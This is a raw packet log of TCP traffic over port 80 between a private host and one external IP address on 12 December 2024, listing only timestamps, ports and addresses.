Dec 12, 2024 20:37:03.609682083 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.609762907 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.609817028 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.611394882 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.611454964 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.637428999 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.757775068 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.386991024 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.387065887 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.387124062 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.387167931 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.387573957 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.387628078 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.387787104 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.387835979 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.389142990 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.389194012 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.389344931 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.389394045 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.390794039 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.390846014 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.390989065 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.391041994 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.392786026 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.392838955 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.393126965 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.393173933 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.394176006 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.394233942 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.394361973 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.394409895 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.395812035 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.395862103 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.396053076 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.396099091 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.397445917 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.397519112 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.397633076 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.397680044 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.399331093 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.399379015 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.399681091 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.399734974 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.400795937 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.400847912 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.400966883 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.401030064 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.402699947 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.402755976 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.402888060 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.402940989 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.404596090 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.404654026 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.404757977 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.404809952 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.406269073 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.406321049 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.406641960 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.406694889 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.407742977 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.407846928 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.407891989 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.407947063 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.409157991 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.409214973 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.409337997 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.409389973 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.410784960 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.410840988 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.411004066 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.411056042 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.412513971 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.412569046 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.412645102 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.412698030 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.414167881 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.414231062 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.414333105 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.414386988 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.415898085 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.415954113 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.416086912 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.416146040 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.417592049 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.417644978 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.417905092 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.417958021 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.419449091 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.419507027 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.419680119 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.419733047 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.421248913 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.421303034 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.421422958 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.421474934 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.422837019 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.422892094 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.423080921 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.423134089 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.424441099 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.424544096 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.424694061 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.424752951 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.426175117 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.426229000 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.426382065 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.426433086 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.427563906 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.427619934 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.427666903 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.427716017 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.429095984 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.429156065 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.464835882 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.464926958 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.465033054 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.465130091 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.465677977 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.465733051 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.465894938 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.465950966 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.467411041 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.467479944 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.467973948 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.468028069 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.468089104 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.468141079 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.469670057 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.469726086 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.469824076 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.469877005 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.471249104 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.471303940 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.471452951 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.471504927 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.473050117 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.473104954 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.473196030 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.473249912 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.474625111 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.474682093 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.474826097 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.474879980 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.476254940 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.476314068 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.476428032 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.476476908 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.477945089 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.478024006 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.478219986 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.478276014 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.479696035 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.479778051 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.479841948 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.479891062 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.481329918 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.481385946 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.481475115 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.481524944 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.482938051 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.483000040 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.483118057 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.483167887 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.484623909 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.484678984 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.484782934 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.484832048 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.486210108 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.486268044 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.486408949 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.486460924 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.487967968 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.488024950 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.488135099 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.488185883 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.489563942 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.489619970 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.489715099 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.489789009 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.491254091 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.491333961 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.491400957 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.491452932 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.492830992 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.492888927 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.493026018 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.493074894 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.494501114 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.494550943 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.494694948 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.494745970 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.496160030 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.496210098 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.496364117 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.496412039 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.497801065 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.497850895 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.498003006 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.498051882 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.499479055 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.499528885 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.499684095 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.499731064 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.501185894 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.501235962 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.501410961 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.501468897 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.502855062 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.502911091 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.503053904 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.503108025 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.504543066 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.504611015 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.504707098 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.504761934 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.506151915 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.506208897 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.506339073 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.506397009 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.507796049 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.507852077 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.507991076 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.508044958 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.509455919 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.509510994 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.509643078 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.509696960 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.579581976 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.579644918 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.579704046 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.579761028 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.580336094 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.580602884 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.580641985 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.580657959 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.581945896 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.582000971 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.582124949 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.582168102 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.583693027 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.583749056 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.583920956 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.583971024 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.585374117 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.585428953 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.585572958 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.585618973 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.586884975 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.586941004 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.587105036 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.587151051 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.588576078 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.588623047 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.588762999 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.588815928 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.590262890 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.590312004 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.590359926 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.590400934 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.591872931 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.591919899 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.592058897 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.592101097 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.593533993 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.593579054 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.593796968 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.593844891 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.595274925 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.595340014 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.595484972 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.595526934 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.596941948 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.596992016 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.597203016 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.597245932 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.598507881 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.598555088 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.598714113 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.598817110 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.600361109 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.600431919 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.600527048 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.600575924 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.601849079 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.601897955 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.602087021 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.602283001 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.603517056 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.603585958 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.603715897 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.603764057 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.605185032 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.605235100 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.605571032 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.605622053 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.606838942 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.606894970 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.607018948 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.607069016 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.608553886 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.608608007 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.608700037 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.608745098 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.610160112 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.610229015 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.610367060 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.610414982 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.612128019 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.612226963 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.612257957 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.612303019 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.613511086 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.613559961 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.613709927 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.614051104 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.615117073 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.615274906 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.615356922 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.615401983 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.616802931 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.616857052 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.616981983 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.617026091 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.618477106 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.618527889 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.618710995 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.618755102 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.620137930 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.620184898 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.620341063 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.620383024 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.621848106 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.621893883 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.621952057 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.621999025 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.657078981 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.657255888 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.657303095 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:04.657371044 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:04.657665014 CET	80	49738	80.82.65.70	192.168.2.4
